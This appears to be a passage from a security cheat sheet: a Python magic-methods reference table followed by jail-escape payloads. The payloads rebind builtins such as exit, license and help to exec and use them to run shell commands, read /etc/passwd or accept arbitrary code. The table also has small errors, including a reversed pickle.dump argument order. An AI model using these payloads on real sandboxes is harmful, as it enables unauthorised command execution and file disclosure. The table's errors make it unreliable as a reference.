Magic Methods

Magic MethodWhen it gets invoked (example)Description
__new__(cls [,...])instance = MyClass(arg1, arg2)__new__ is called on instance creation
__init__(self [,...])instance = MyClass(arg1, arg2)__init__ is called on instance creation
__cmp__(self, other)self == other, self > other, etc.Called for any comparison
__pos__(self)+selfUnary plus sign
__neg__(self)-selfUnary minus sign
__invert__(self)~selfBitwise inversion
__index__(self)x[self]Conversion when object is used as index
__nonzero__(self)bool(self)Boolean value of the object
__getattr__(self, name)self.name # name doesn't existAccessing nonexistent attribute
__setattr__(self, name, val)self.name = valAssigning to an attribute
__delattr__(self, name)del self.nameDeleting an attribute
__getattribute__(self, name)self.nameAccessing any attribute
__getitem__(self, key)self[key]Accessing an item using an index
__setitem__(self, key, val)self[key] = valAssigning to an item using an index
__delitem__(self, key)del self[key]Deleting an item using an index
__iter__(self)for x in selfIteration
__contains__(self, value)value in self, value not in selfMembership tests using in
__call__(self [,...])self(args)"Calling" an instance
__enter__(self)with self as x:with statement context managers
__exit__(self, exc, val, trace)with self as x:with statement context managers
__getstate__(self)pickle.dump(pkl_file, self)Pickling
__setstate__(self)data = pickle.load(pkl_file)Pickling
# exit - fonctionne car c'est une instance de Quitter
exit.__class__.__add__ = exec; exit + "import os; os.system('whoami')"
quit.__class__.__add__ = exec; quit + "__import__('os').system('whoami')"
# license - instance de _Printer
license.__class__.__add__ = exec; license + "print(open('/etc/passwd').read())"
credits.__class__.__add__ = exec; credits + "__import__('os').system('pwd')"
copyright.__class__.__add__ = exec; copyright + "exec(input())"
# help - instance de _Helper
help.__class__.__sub__ = exec; help - "__import__('os').system('ls')"
class X: pass
x = X()
x.__class__.__add__ = exec; x + "__import__('os').system('id')"